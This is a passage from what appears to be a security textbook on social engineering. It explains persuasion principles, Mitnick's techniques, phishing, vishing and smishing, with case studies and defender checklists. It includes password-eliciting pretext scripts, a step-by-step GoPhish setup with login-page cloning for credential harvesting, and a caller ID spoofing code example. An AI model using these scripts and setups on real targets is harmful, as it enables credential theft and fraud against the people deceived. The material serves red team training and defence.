Urgency and Scarcity: The human brain responds to perceived scarcity and time pressure with heightened arousal and reduced deliberative processing. When something is scarce (limited time, limited opportunity, deadline approaching), the brain prioritizes immediate action over careful evaluation. This is why "Your account will be locked in 15 minutes if you don't verify your credentials now" is so effective — the time pressure physically prevents the kind of slow, careful evaluation that would reveal the message as suspicious.

Social Proof: Humans are social animals who use other people's behavior as a guide to appropriate action. When others have done something, it serves as evidence that the action is safe and acceptable. "Your colleagues in the finance department have already completed this security verification" removes a significant psychological barrier to compliance — if others have done it, it must be legitimate.

Reciprocity: One of the most deeply embedded social norms in human cultures worldwide is the obligation to return favors. When someone does something for you, you feel a powerful psychological pressure to reciprocate. Social engineers exploit this by doing something small for the target before making their request — providing a helpful piece of information, solving a minor problem, offering assistance. The resulting sense of obligation makes targets more likely to comply with the subsequent request.

Liking: People comply with requests from those they like more readily than requests from strangers. Similarity, familiarity, and genuine (or simulated) rapport all increase liking. An attacker who establishes rapport — by referencing shared experiences, using the target's name, expressing enthusiasm for the target's work — creates a liking response that lowers defenses.

Consistency and Commitment: Once a person commits to a position, action, or relationship, they are under psychological pressure to remain consistent with that commitment. Social engineers use this by starting with small, innocuous requests and progressively escalating. Having agreed to share their name, their department, and their role, the target has established a pattern of compliance that makes refusing the subsequent request for credentials psychologically inconsistent.

The Dunning-Kruger Effect in Reverse: Interestingly, people who believe they are most resistant to social engineering are often most vulnerable. Overconfidence in one's ability to detect deception reduces vigilance. The most skeptical person in a room who has been convinced a pretext is legitimate is often the most committed defender of that pretext — because they have already applied their critical faculties and concluded it is real.

The Role of Stress, Cognitive Load, and Emotional State

Research in behavioral psychology consistently shows that stress, cognitive load (having multiple things to think about simultaneously), emotional arousal (fear, excitement, anger), and fatigue all dramatically reduce the quality of decision-making. They reduce System 2 engagement and increase dependence on System 1 heuristics.

This is why social engineering attacks are often executed at:

End of business day (targets are tired, want to go home)
Start of business day (targets are still warming up, processing the day's demands)
During periods of organizational stress (acquisitions, audits, incidents)
When the target is visibly busy or distracted

A target who is handling three conversations simultaneously, dealing with a deadline, or worried about an organizational event is a much softer target than a relaxed, focused employee with time to think.

4.1.5 Cialdini's Six Principles — The Psychological Engine of Every Social Engineering Attack

Robert Cialdini's Influence: The Psychology of Persuasion (1984, expanded 2021) documented six principles of influence that reliably produce compliance in human beings. These principles were identified through decades of research into sales, marketing, negotiation, and human behavior. Every social engineering attack maps to one or more of these principles — and the most effective attacks stack multiple principles simultaneously.

Understanding these principles is foundational because they are not tricks or gimmicks. They are descriptions of how human psychology actually works — which means they work regardless of the target's intelligence, education, or awareness of social engineering.

Principle 1: Reciprocity

The principle: We feel obligated to give back to those who have given to us. When someone does us a favor, we feel a powerful social and psychological obligation to return it. This obligation is so deeply embedded in human social norms that it operates even when the initial gift was unsolicited, small, or given by someone we do not know.

The neuroscience: Reciprocity activates regions of the brain associated with social bonding and reward. Failing to reciprocate activates regions associated with discomfort and social anxiety. The psychological pressure to reciprocate is experienced as genuine discomfort — not a calculation.

The social engineering application: An attacker who provides something of value before making their request creates a reciprocity obligation that makes compliance significantly more likely. This might be providing a helpful piece of information, solving a small problem for the target, offering a compliment or flattery, or even just expressing gratitude for the target's time.

Mitnick frequently used this principle in a specific way: he would call a target and help them with something before making his actual request. He might call the IT department and share useful information about a system issue before asking about network configurations. The help was genuine — it just served a strategic purpose.

Example in practice: "I've pulled up your account and I can see the issue — I've already fixed the permissions problem on your email. While I have you, I just need to verify one thing to complete the ticket on my end. Can you confirm your current password so I can make sure the change went through correctly?"

Principle 2: Commitment and Consistency

The principle: Once people commit to a position, they are strongly motivated to remain consistent with that commitment. Public commitments are more powerful than private ones; active commitments more powerful than passive ones; chosen commitments more powerful than coerced ones.

The neuroscience: Cognitive dissonance — the discomfort of holding inconsistent beliefs or behaviors — is a powerful motivator. The brain works to reduce cognitive dissonance by bringing behavior in line with prior commitments, rather than evaluating each decision independently.

The social engineering application: The foot-in-the-door technique is the classic application: start with a small request that the target is very likely to agree to, then follow with progressively larger requests. Having agreed to the initial request, the target is under psychological pressure to remain consistent — each subsequent compliance is a defense against the cognitive dissonance of having refused after already starting to cooperate.

In practice, this looks like: "Can I just confirm your department?" (Yes.) "And your employee ID number?" (Given.) "And which manager you report to?" (Given.) "Great. Now, for this final verification step, I'll need your current password..." — each small agreement makes the final compliance more likely.

Principle 3: Social Proof

The principle: When people are uncertain about what to do, they look to others' behavior as evidence of the correct action. The more people who have done something, the more appropriate and safe it appears.

The neuroscience: Social proof is an evolved heuristic. In uncertain environments, following the group's behavior generally leads to better outcomes than individual deviation. The brain processes social proof information quickly and automatically through the same mechanisms that process social observation in general — highly efficient, largely unconscious.

The social engineering application: Claims that others have already complied are particularly effective in organizational contexts. "Most employees in your department have already completed this security verification" creates pressure to conform. "Your colleague John Smith verified his credentials for this process yesterday" creates both social proof and implied authority.

AI amplification: Modern AI-powered phishing tools can generate emails that reference real colleagues, real internal events, and real organizational relationships — creating highly convincing social proof that appears based on insider knowledge.

Principle 4: Authority

The principle: People comply with instructions and requests from legitimate authority figures. Authority is signaled through titles, uniforms, expertise, tone, and insider knowledge — and the compliance response is triggered by the signals, not by verified actual authority.

The neuroscience: The brain's response to authority figures involves different neural pathways than responses to peers. Authority figures receive reduced skepticism, increased compliance, and altered memory encoding — we literally remember interactions with authority figures differently than interactions with equals.

The social engineering application: This is perhaps the most versatile principle in social engineering. Authority can be established through:

Title: "I'm calling from the CISO's office"
Technical expertise: Demonstrating specific knowledge of internal systems, vendors, or processes
Tone: Speaking with confidence, precision, and command
Insider knowledge: Referencing real internal information that only someone legitimate would know (gathered through OSINT)
Third-party authority: "I was asked to contact you by [Manager Name]"

The authority principle is why spear phishing emails impersonating executives are so devastatingly effective — even when employees intellectually know that executives would not send such requests, the authority trigger in System 1 overrides the skepticism of System 2.

Principle 5: Liking

The principle: We are more easily influenced by people we like than by people we dislike or feel neutral toward. Liking is increased by similarity, familiarity, attractiveness (in multiple senses), and association with positive things.

The neuroscience: The same brain regions involved in evaluating trustworthiness also respond to facial attractiveness, social similarity, and familiarity. Liking genuinely reduces cognitive barriers to compliance — it is not that we decide to trust liked people more. Our brains literally process their requests differently.

The social engineering application: Rapport-building is the primary mechanism. Skilled social engineers invest time in establishing genuine-feeling connection before making their requests. This includes:

Using the target's name frequently
Referencing shared interests, experiences, or connections
Expressing genuine-sounding enthusiasm for the target's work or role
Mirroring the target's communication style, pace, and vocabulary
Finding genuine points of agreement before areas of request

Mitnick was legendarily skilled at building rapid rapport. He would research targets sufficiently to have real conversations about their interests and concerns — not faking interest, but having genuine engagement that happened to serve a strategic purpose.

Principle 6: Scarcity

The principle: Things that are rare or becoming unavailable are more desirable than things that are plentiful. Time-limited opportunities, limited availability, and threatened access all trigger urgency responses that override careful deliberation.

The neuroscience: Scarcity activates the brain's loss aversion mechanisms, which research consistently shows are roughly twice as powerful as equivalent gain anticipation mechanisms. The prospect of losing something you could have had is more motivating than the prospect of gaining something equivalent. Scarcity also triggers arousal responses that reduce deliberative processing — making quick, emotionally-driven compliance more likely.

The social engineering application: Artificial urgency is the most common form of manufactured scarcity in social engineering. "Your account will be locked in 15 minutes," "I need this information before the maintenance window closes at 5 PM," "This is the last chance to verify before the system rolls over" — these all create the experience of time-limited opportunity that compresses the window available for careful evaluation.

The critical insight is that the urgency does not need to be real. The brain's response to perceived urgency is the same whether the urgency is genuine or manufactured. A deadline that exists only in the attacker's email is processed with the same neural urgency as a real deadline.

4.1.6 Kevin Mitnick — The Art of Deception in Practice

Kevin Mitnick's career as a hacker and later as a security consultant represents the most extensively documented case study in social engineering in history. His book The Art of Deception (2002, co-authored with William L. Simon) is required reading for anyone serious about understanding social engineering from a practical, operational perspective. Understanding Mitnick's methods is not just historically interesting — his techniques remain directly applicable because they exploit human psychology, which has not changed.

The Core Mitnick Thesis

Mitnick's foundational argument, demonstrated through hundreds of real attacks, is this: an organization's security is only as strong as its weakest human link, and that link can always be found and exploited.

No amount of technical security infrastructure matters if an attacker can find one person who will provide access — either because they were deceived, because they were socially pressured, or because they were manipulated into violating security policy. And in any organization of meaningful size, that person always exists.

More provocatively, Mitnick demonstrated that the same employees who receive security awareness training, who know that social engineering exists, and who believe they are security-conscious are still vulnerable to well-crafted attacks. Knowledge of the attack form is not sufficient protection against a skillfully executed instance of it.

Mitnick's Operational Principles

"The easiest way to get inside a company's network is not through a technical exploit — it is through the phone."

Mitnick made most of his most significant breaches through telephone calls. He called telephone companies and impersonated technicians to obtain information. He called corporations and impersonated employees, vendors, and IT staff. He called data centers and impersonated system administrators. The telephone creates intimacy — a direct, real-time personal connection — that makes pretexts feel more real than emails.

Research everything before making contact.

Mitnick invested extensively in understanding his targets before engaging them. He would spend days gathering organizational information — learning department structures, employee names, system names, vendor relationships, and internal terminology — before making a single call. The research served two purposes: it made his pretexts accurate and specific enough to pass scrutiny, and it provided the raw material for building rapport.

Use small requests to establish credibility before making large ones.

Mitnick consistently used a sequence of small, low-risk interactions to build a relationship before making the actual attack request. He might call the help desk three times over a week with minor, legitimate-sounding questions — gradually establishing himself as a familiar, trusted contact — before requesting the sensitive information he actually needed.

People want to be helpful, and you can use that.

This is one of Mitnick's most emphasized observations. The social engineers fail is usually not because targets are suspicious — it is because targets want to help. Most people in an organization feel a genuine desire to be helpful to colleagues, vendors, and anyone who seems to be working on a legitimate problem. Mitnick designed his pretexts to channel this desire to help rather than to overcome resistance.

Exploit organizational ambiguity.

Large organizations are complex enough that nobody has a complete picture of all processes, all employees, all vendors, and all procedures. This complexity creates ambiguity — spaces where no one is certain what the correct procedure is, who has authority over what, or whether a given request is normal. Mitnick placed his attacks in these ambiguous spaces, where no clear protocol existed to guide the target's response.

If caught, use a graceful exit that confirms your legitimacy.

Mitnick's advice about handling suspicion is counterintuitive: the best response to a suspicious target is not to press harder — it is to gracefully endorse the target's caution and exit cleanly. "You're absolutely right to be careful. I'll get your manager to contact you through official channels." This response accomplishes two things: it avoids detection and capture, and paradoxically it reinforces the perception that the contact was legitimate (because fraudsters don't encourage security verification).

The most powerful pretext is one that contains true information.

Whenever possible, Mitnick incorporated real, verifiable information into his pretexts — real employee names, real system names, real organizational events. When a target tries to verify elements of a pretext and finds them accurate, their skepticism collapses. The pretext passes the verification test and becomes more convincing than if no verification attempt had been made.

Specific Mitnick Techniques Worth Studying

The reverse social engineering attack: Instead of initiating contact and making a request, the attacker creates a situation where the target initiates contact and asks the attacker for help. This is profoundly effective because it completely inverts the suspicion dynamic. If you called someone unsolicited and asked for credentials, they might be suspicious. If they called you for help because you have positioned yourself as the solution to their problem, they share everything without hesitation. Mitnick would sometimes plant information suggesting a system issue, then make sure his contact details were what the target found when they looked for help. The target would call him. He would "help" them — and in the process, obtain everything he needed.

The long game: For high-value targets, Mitnick invested weeks or months in building a relationship before making any request. He would call regularly with helpful information, establish himself as a reliable resource, and only make his actual request when the relationship was strong enough that it was nearly unthinkable to refuse him.

Voicemail as a credibility signal: Mitnick used voicemail strategically — leaving messages that demonstrated insider knowledge of the organization, referencing real colleagues and real projects. When targets returned the call, they were already predisposed to trust because the voicemail had established credibility in their absence, without the pressure of real-time response.

Mitnick's Impact on Modern Security

Mitnick's legacy is the fundamental reorientation of cybersecurity to take the human element seriously. Before Mitnick's public profile (partly shaped by his own legal battles and the books that followed), social engineering was treated as a secondary concern — something addressed by policy documents that nobody read. After Mitnick demonstrated definitively and repeatedly that social engineering was the primary attack vector for even technically sophisticated attackers, the security industry was forced to take security awareness training, human-centered security controls, and social engineering testing seriously.

Modern red team engagements routinely include social engineering components specifically because of the understanding that Mitnick established: technical controls without human controls are incomplete, and the only way to know how vulnerable your human controls are is to test them.

4.2 Social Engineering Attacks

4.2.1 Overview — The Attack Surface Is Every Human Being

The attack surface of a well-secured technical infrastructure is specific and bounded. Firewalls can be configured to permit only specific traffic. Systems can be hardened to expose only necessary services. Encryption protects data in transit and at rest. These controls can be applied specifically to specific systems with specific vulnerabilities.

The attack surface of a social engineering attack is every single human being in an organization — or connected to it — who has access to anything an attacker wants. This is not bounded. This is not specific. An organization of 10,000 employees has 10,000 potential entry points for social engineering, plus their contractors, their families who might know organizational details, their former employees, and their vendors.

Every communication channel those humans use — email, phone, SMS, social media, in person, video call — is a potential vector. Every role those humans have — executive, developer, receptionist, finance staff, IT help desk, security team, customer service — creates different forms of access and different pretext opportunities.

This is why social engineering is, from an attacker's strategic perspective, more attractive than technical exploitation for initial access. The technical attack surface can be reduced through patching, hardening, and network architecture. The human attack surface only grows as organizations hire more people, use more vendors, and communicate through more channels.

What follows is a systematic examination of each primary social engineering attack type — how it works, why it works, what the real-world attack chain looks like, and how it is executed professionally in authorized social engineering engagements.

4.2.2 Email Phishing — The Most Scalable Attack in Existence

What Phishing Actually Is

Phishing is the use of deceptive email communications to manipulate recipients into taking a specific action: clicking a malicious link, opening a malicious attachment, providing credentials or sensitive information, or authorizing a financial transaction.

The term comes from "fishing" — the attacker casts a wide net, knows that only a small percentage of targets will "bite," and profits from those who do. The scalability is the key economic insight: sending one million phishing emails costs approximately the same as sending one, while the expected return grows linearly with the number of emails sent. This asymmetry makes phishing uniquely attractive to attackers.

According to the FBI's 2024 Internet Crime Complaint Center report, phishing is the most commonly reported cybercrime, with over 300,000 complaints and losses exceeding $3 billion. Proofpoint's 2024 data shows that over 70% of organizations experienced harmful phishing attacks that year.

The Anatomy of a Phishing Email

Every phishing email attempts to accomplish four things simultaneously:

Establish perceived legitimacy — the email must appear to come from a trusted source. This involves sender address spoofing or lookalike domain registration, email formatting that matches legitimate communications from the impersonated sender, logos and branding copied from real communications, and writing style appropriate to the impersonated entity.

Create an emotionally compelling scenario — the scenario must trigger one or more of the Cialdini principles. "Your account has been compromised" (fear + urgency + scarcity). "Your package could not be delivered" (curiosity + urgency). "You have an unclaimed tax refund" (gain + scarcity). "Immediate action required by your compliance team" (authority + urgency).

Provide a clear call to action — a specific, simple action the target should take. Click this link. Download and open this attachment. Reply with this information. Call this number. The action must feel proportionate to the scenario and must require minimal decision-making.

Remove friction from compliance — the email must make it as easy as possible to take the desired action. Pre-filled links, clear buttons, simple instructions, minimal steps.

Types of Phishing by Targeting Precision

Mass Phishing (Bulk Phishing)

Mass phishing sends identical or near-identical emails to large lists of email addresses — thousands to millions of recipients. The content is generic enough to be plausible for a wide audience. "Your PayPal account has been limited," "Your Netflix subscription payment failed," "Your parcel with tracking number could not be delivered."

The economics are favorable: even a 0.01% click rate on 1,000,000 emails produces 100 victims. At an average BEC loss of $50,000, 100 victims represents $5 million in potential fraud.

How mass phishing campaigns are executed in authorized red team engagements:

Tools used:
- GoPhish: Open-source phishing framework
  gophish --config config.json

- King Phisher: Professional-grade phishing campaign management

- SET (Social Engineering Toolkit):
  setoolkit → Social Engineering Attacks → Mass Mailer Attack

Infrastructure setup:
- Register a lookalike domain (targetco-security.com instead of targetco.com)
- Configure MX records for the domain
- Set up an SMTP relay server
- Configure SPF, DKIM, and DMARC records to improve deliverability
- Create a credential harvesting landing page
- Configure GoPhish with the email template, the landing page, and the target list

Spear Phishing

Spear phishing is targeted phishing — emails crafted for a specific individual or a specific group, using personalized information that makes the email feel genuinely relevant to that person's situation.

The personalization is what makes spear phishing so dramatically more effective than mass phishing. A 2020 study by Proofpoint found that spear phishing emails have approximately 9x higher click rates than mass phishing emails. The difference is entirely in the perceived relevance and credibility.

OSINT provides the raw material for spear phishing personalization:

LinkedIn reveals the target's role, projects, recent accomplishments, and connections
Twitter/X reveals their interests, recent travel, conference attendance, and opinions
Corporate websites reveal their reporting structure and team membership
Job listings reveal the technologies their team uses
Press releases reveal recent organizational events they are likely aware of

A spear phishing email targeting a Senior DevOps Engineer might reference their specific cloud platform (AWS/GCP/Azure), their team's recent deployment, their connection to a specific colleague, and a plausible technical scenario that only someone in that exact role would find credible.

Real-world example from 2024: U.S. defense contractors were targeted by spear phishing campaigns that used real conference speaker lists to craft personalized emails. The attackers posed as event organizers and sent malicious calendar invites to speakers — who had publicly posted their conference participation on LinkedIn and the conference website. The personalization (correct name, correct conference, correct role) bypassed the targets' skepticism.

Whaling

Whaling is spear phishing targeting specifically high-value individuals — executives (CEO, CFO, CTO, CISO), board members, celebrities, or politicians. The term captures both the high value of the target and the significantly higher investment required to successfully compromise them.

Executives are generally better-educated about security risks than average employees — but they are also under higher cognitive load, receive more communications, have less time to evaluate each email carefully, and wield authority significant enough that their compromise has massive organizational impact.

Executive-targeted phishing often leverages scenarios that are plausible in the context of executive responsibility: M&A-related communications, board-level confidential matters, regulatory compliance requirements, or urgent communications from law enforcement or regulatory bodies.

Business Email Compromise (BEC)

BEC is the most financially devastating social engineering attack variant. The FBI reported $2.9 billion in BEC losses in 2023 — this number is likely significantly understated due to underreporting.

BEC attacks either compromise an executive's actual email account or create a convincing email impersonation to send fraudulent financial instructions to employees with financial authority. The most common variants:

CEO/CFO Fraud: An email appearing to come from the CEO or CFO requests an urgent wire transfer to a new vendor or partner. The email emphasizes urgency, requests confidentiality (to prevent verification), and usually provides a plausible business justification (acquisition-related, partnership agreement, supplier payment).

Invoice Fraud: An attacker compromises or impersonates a vendor's email and sends fraudulent invoices with changed payment details. Since the invoice appears to come from a legitimate vendor, finance staff pay without verification.

Payroll Diversion: An attacker impersonates an employee and sends HR or payroll a request to update bank details for direct deposit — redirecting the employee's salary to an attacker-controlled account.

Attorney Impersonation: Impersonating a law firm and claiming time-sensitive legal matters require immediate wire transfer, often leveraging fear of legal consequences.

Clone Phishing

Clone phishing takes a legitimate email the target has previously received and creates an exact duplicate — with the malicious modification of replacing legitimate links or attachments with malicious ones. The attacker claims the re-send is because the original link expired, the attachment was updated, or there was a technical issue.

Clone phishing is particularly effective because the entire email structure, tone, branding, and sender context are real — they were copied from a genuine communication. The only change is the malicious link or attachment.

This technique requires prior knowledge of what legitimate emails the target receives — which can be obtained by compromising an email account in the organization's email ecosystem, through a prior breach of email metadata, or through careful OSINT.

QR Code Phishing (Quishing)

An emerging variant that embeds malicious URLs in QR codes rather than clickable text links. QR codes bypass many email security tools that scan URLs in text format, and users are generally less suspicious of QR codes (which are associated with physical-world use cases like restaurant menus) than text links.

Email Authentication — Why Phishing Is Still So Effective

Understanding why phishing emails succeed despite email authentication systems is important for both offensive and defensive practice.

SPF (Sender Policy Framework): A DNS record that specifies which IP addresses are authorized to send email for a domain. If an email arrives from an unauthorized IP, receiving mail servers can reject it. But SPF only validates the "envelope from" address — not the "header from" address that users actually see. An email with a spoofed display header can still pass SPF if the envelope from uses an authorized domain.

DKIM (DomainKeys Identified Mail): Cryptographically signs email with a private key. The receiving server validates the signature using the public key published in DNS. This prevents modification of signed email in transit. But DKIM only validates that the email was signed by someone with access to the domain's private signing key — not that the sender is who they claim to be.

DMARC (Domain-based Message Authentication, Reporting and Conformance): Builds on SPF and DKIM to instruct receiving mail servers what to do when authentication fails. A strict p=reject DMARC policy should prevent spoofed emails from reaching recipients. However, as of 2024, a majority of organizational domains still use p=none (monitor only, no enforcement) or p=quarantine (send to spam folder rather than reject). Phishing emails that pass SPF and DKIM bypass DMARC entirely.

The lookalike domain workaround: The most common phishing infrastructure technique is registering a domain that closely resembles the target organization's domain and configuring full SPF, DKIM, and DMARC records for it. targetco.com becomes targetco-security.com, targetc0.com (zero instead of letter O), or targetco.support. These domains pass all authentication checks because they are legitimate domains — they just are not what the target organization uses.

How to identify phishing infrastructure during OSINT:

# Check for lookalike domains registered near a target
# Use dnstwist to find all typosquatted domains
dnstwist targetco.com --registered --json > typosquatted_domains.json

# Check DMARC policy of a domain (p=none = easy to spoof)
dig _dmarc.targetco.com TXT +short

# Check when a suspicious domain was registered (recent = suspicious)
whois suspicious-domain.com | grep "Creation Date"

# Check if lookalike domain has active MX records (ready to send email)
dig suspicious-domain.com MX +short

Phishing Campaign Infrastructure — Professional Red Team Setup

In an authorized social engineering engagement, setting up a phishing campaign involves:

# 1. Register lookalike domain
# Choose based on target's primary domain
# Common patterns: targetco-security.com, secure-targetco.com, targetco.support

# 2. Set up VPS server for hosting
# Use a cloud provider in a non-suspicious jurisdiction
# Harden the server (no unnecessary services, SSH key only)

# 3. Install and configure GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
cd gophish
./gophish &
# Access admin interface at https://localhost:3333

# 4. Configure sending profile (SMTP settings for the lookalike domain)
# Set up Postfix or use a commercial SMTP relay

# 5. Create email template
# Copy legitimate email design from the impersonated organization
# Replace links with tracking links through GoPhish

# 6. Create landing page
# For credential harvesting: clone the real login page
# Tool: HTTrack, wget for page cloning
httrack https://mail.targetco.com -O /tmp/cloned_login

# For payload delivery: host the malicious document

# 7. Create target list
# Import from OSINT (gathered email addresses)

# 8. Launch campaign and monitor in real time
# GoPhish dashboard shows email opened, link clicked, credentials submitted

Indicators of Phishing — The Defender's Checklist

Indicator	Description
Sender domain mismatch	Display name says "Microsoft Support" but sending domain is microsoft-support.co
Urgency language	"Immediate action required," "Your account will be suspended," "Security alert"
Generic greeting	"Dear User" instead of your actual name
Suspicious links	Hover reveals URL that doesn't match the described destination
Request for credentials	Legitimate services never ask for passwords via email
Unexpected attachments	Unsolicited documents, especially Office files with macros
Too good to be true	Lottery wins, unexpected refunds, exclusive opportunities
Grammar and formatting	Subtle errors, inconsistent formatting, wrong logo versions
Wrong email address	Reply-to is different from the sender address
Threats and consequences	"Your account will be deleted," "Legal action will be taken"

4.2.3 Vishing — Voice Phishing and the Power of Real-Time Pressure

Why Voice Is the Most Powerful Social Engineering Channel

Vishing (voice phishing) uses telephone calls to manipulate targets. It is consistently underestimated as an attack vector because organizations focus security awareness on email. But vishing has characteristics that make it uniquely powerful — and in many ways more effective than email phishing.

Real-time pressure eliminates reflection time. Email allows a recipient to pause, re-read, discuss with a colleague, or research the sender before responding. A phone call creates continuous, real-time social pressure. Pausing to verify seems rude. Asking for the caller's credentials seems paranoid. The conversation momentum carries the target forward before System 2 can engage.

Voice creates intimacy and rapport. The human voice carries emotional information — confidence, warmth, urgency, authority — that written text cannot replicate. A confident, knowledgeable, friendly voice triggers social responses that written text does not. We are social animals wired to respond to voices; vishing exploits this wiring.

Caller ID can be trivially spoofed. While email authentication has improved (SPF, DKIM, DMARC), caller ID spoofing remains trivially easy. An attacker can make a call appear to originate from any phone number — including internal corporate extensions, government agencies, or partner organizations. The target sees what appears to be a verified, trusted caller before they even answer.

It mirrors legitimate organizational processes. IT help desks call users to resolve tickets. Managers call to assign urgent tasks. Vendors call for account management. Compliance teams call for verification. The telephone is a normal, expected channel for exactly the kinds of interactions social engineers simulate.

The MGM Resorts Case Study — The $100 Million Ten-Minute Call

September 2023. The threat actor group Scattered Spider wanted to breach MGM Resorts International. They found their entry point not in the firewall, not in unpatched software, not in the cloud infrastructure. They found it in LinkedIn.

They identified an MGM employee — a sufficiently senior employee with system access — through LinkedIn. They gathered the employee's publicly visible professional information: name, role, reporting structure, time with the company, potentially their location and department details.

Then they called MGM's IT help desk. They impersonated the employee. They told the help desk they were locked out of their account. The help desk — following normal support procedures — verified the caller's identity through the information provided (which matched the real employee's information, because it was gathered from public sources). They reset the employee's credentials.

The call lasted approximately ten minutes.

Scattered Spider now had valid credentials to MGM's Active Directory. They escalated privileges, moved laterally through the network, and deployed ransomware. Hotel key systems went offline. Casino slot machines went dark. Check-in systems failed. The resulting disruption cost MGM an estimated $100 million.

The security failure was not a software bug. It was a process design failure: the help desk had no verification mechanism that could distinguish a genuine employee from an impersonator armed with publicly available information. And because social conventions around "proving" identity over the phone are deeply uncomfortable, the verification procedures that did exist were insufficient.

Anatomy of a Vishing Call

A professional vishing call — whether executed by an attacker or by an authorized penetration tester simulating one — follows a consistent structure:

Opening — Identity Establishment: The first seconds of the call establish the caller's identity. "Hi, this is James from corporate IT security, I'm calling regarding a security incident that may have affected your account." The introduction should be delivered confidently and smoothly, without hesitation. Hesitation signals uncertainty; confidence signals authority.

Rapport Building: Before the ask, build brief rapport. Use the target's name. Reference something specific about their situation. Express appreciation for their time. "I know you're probably in the middle of your workday so I'll make this as quick as possible."

Scenario Delivery — The Pretext: Present the scenario that makes the request necessary. Be specific with technical or organizational details (gathered through OSINT). Reference real systems, real processes, real organizational context. "We've been seeing some unusual login activity associated with accounts in the finance department in our SIEM, and your account came up as potentially affected. I need to do a quick verification to rule out a compromise."

Authority Reinforcement: Throughout the scenario delivery, reinforce authority signals. Reference managers or executives by name. Mention internal systems by their actual names. Cite organizational processes correctly.

The Ask: Make the specific request. Deliver it as a natural next step in the scenario. Not as the point of the call, but as the obvious necessary action given the situation that has been established.

Handling Resistance: If the target expresses hesitation or asks to verify, respond with calm reassurance that validates their caution while providing a resolution. "Absolutely, you should verify — that's exactly the right instinct. You can call back to our security operations center at [number], or I can have my supervisor call you directly. We do need to resolve this quickly though, so whichever way is faster for you."

Close: Conclude the call naturally. Thank the target. Reinforce the pretext if necessary. Exit cleanly.

Caller ID Spoofing — The Technical Foundation

Caller ID (Caller Name/Number Identification, or CNAM/CNID) is a telephony feature that displays the name and number of incoming callers. Despite its apparent security implications, caller ID was not designed with authentication in mind and is trivially spoofable.

Tools for caller ID spoofing:

SpoofCard (commercial): Consumer-grade caller ID spoofing service
SpoofTel (commercial): Professional-grade spoofing for authorized testing
Burner apps: Temporary number services that can mask real identity

For authorized penetration testing:
- Use a VoIP provider that allows custom caller ID
- Asterisk PBX: open-source PBX that allows outgoing caller ID configuration
- Twilio API: programmable telephone service

  # Twilio Python example for authorized red team calling
  from twilio.rest import Client
  client = Client(account_sid, auth_token)
  call = client.calls.create(
      to="+1-555-target-number",
      from_="+1-555-spoofed-number",  # Internal number or trusted vendor
      url="http://demo.twilio.com/docs/voice.xml"
  )

Important: Caller ID spoofing is illegal when used for fraud in most jurisdictions (U.S. Truth in Caller ID Act, UK Communications Act). For authorized penetration testing, the Rules of Engagement document must explicitly authorize vishing and caller ID spoofing, and the engagement contract must indemnify the testing team for actions within scope.

AI-Powered Vishing — Voice Cloning and Deepfakes

One of the most significant recent developments in social engineering is the emergence of AI voice cloning and real-time voice synthesis. These technologies allow attackers to create convincing audio impersonations of specific individuals — executives, IT staff, family members — using as little as a few seconds of audio training data.

The 2019 UK CEO voice clone case was an early harbinger: criminals used AI-synthesized speech to impersonate a CEO's voice on a call to the CFO, ordering an urgent wire transfer. The CFO complied, transferring approximately $243,000. The synthetic voice apparently captured not just the words but the speaking pattern, accent, and emotional nuances of the real CEO.

The 2024 Arup case represented a significant escalation: attackers used a deepfake video call — not just audio — to impersonate a company's CFO and other executives in what appeared to be a live video conference. An employee was convinced by the deepfake colleagues to transfer $25 million. When they later called the real CFO to discuss the "conversation," they discovered the call had been entirely synthetic.

These developments mean that even organizations with strong vishing awareness — where employees know not to trust phone calls claiming to be executives — must now also be cautious of video calls that appear to show real people.

Defending against voice cloning attacks: The most effective defensive approach is an out-of-band verification protocol — a pre-agreed mechanism for verifying high-risk requests that does not rely on the original communication channel. "If someone on a video call asks you to transfer money, call them back on a number you already have, not one they provide."

Vishing in Authorized Penetration Testing

Vishing engagements in authorized social engineering tests typically target specific attack objectives:

Obtaining credentials (username, password, MFA codes)
Manipulating IT help desk staff into credential resets
Extracting sensitive organizational information
Getting employees to install remote access tools
Testing incident response to social engineering attacks

The output of a vishing test is both the specific findings (what information was obtained) and the process observations (what procedures failed to prevent the attack, what signals the target should have recognized).

Pre-engagement checklist for authorized vishing:
☐ Explicit written authorization for vishing in Rules of Engagement
☐ Target list with contact information
☐ Defined objectives (what to obtain/test)
☐ Pretext scenarios designed and reviewed
☐ Caller ID spoofing approach authorized
☐ Call recording setup (for evidence and report)
☐ Emergency stop procedure defined (if target becomes distressed)
☐ Out-of-scope individuals identified

4.2.4 SMS Phishing (Smishing) — The Mobile Attack Surface

Why SMS Is a High-Value Attack Channel

Smishing (SMS + phishing) uses text messages to deliver phishing attacks. Despite seeming like a less sophisticated attack channel than email, smishing has several properties that make it consistently effective:

SMS is perceived as more trustworthy than email. People have been conditioned to be skeptical of email — "don't click links in emails" is a standard piece of security advice. SMS does not carry the same cultural skepticism. Many users apply critical thinking to emails that they would not apply to text messages.

SMS delivers immediately and demands attention. Smartphone notifications for text messages are more immediate and attention-demanding than email notifications. The psychological experience of receiving a text message is more urgent than receiving an email — which is exactly the emotional state social engineers want to create.

SMS bypasses email security controls entirely. All the investment organizations make in email security gateways, anti-phishing tools, and DMARC enforcement is completely irrelevant to an SMS-delivered attack. The message goes directly to the target's personal mobile device, through the carrier's network, without any organizational security infrastructure in the path.

Short format reduces the signals available for analysis. The limited character count of SMS means there is less text to analyze for suspicious patterns, incorrect grammar, or formatting anomalies. A 160-character smishing message can contain very few indicators that something is wrong.

Mobile users click more impulsively. Research consistently shows that mobile users interact with content more quickly and with less deliberation than desktop users. The context of mobile use — often multitasking, in transit, distracted — reduces the cognitive resources available for careful evaluation.

Common Smishing Attack Patterns

Package delivery notifications are the most commonly successful smishing category. "Your USPS package [tracking: US9514901165421] has been held at a warehouse. Please confirm your address: [link]." The scenario is plausible (most people have packages in transit), the request is low-stakes (updating an address), and the format exactly mimics legitimate delivery notifications.

Banking and financial institution alerts exploit the financial anxiety most people have around their bank accounts. "CHASE ALERT: A new device has logged into your account. If this wasn't you, click here to secure your account: [link]." The urgency (potential unauthorized access) and the trusted brand name (even though the sending number is not Chase) create immediate compliance pressure.

Government and tax authority messages leverage both authority and potential legal/financial consequences. "IRS NOTICE: You have an unclaimed refund of $1,247.50. Submit your information to claim within 48 hours: [link]." The combination of financial gain and time pressure hits two Cialdini principles simultaneously.

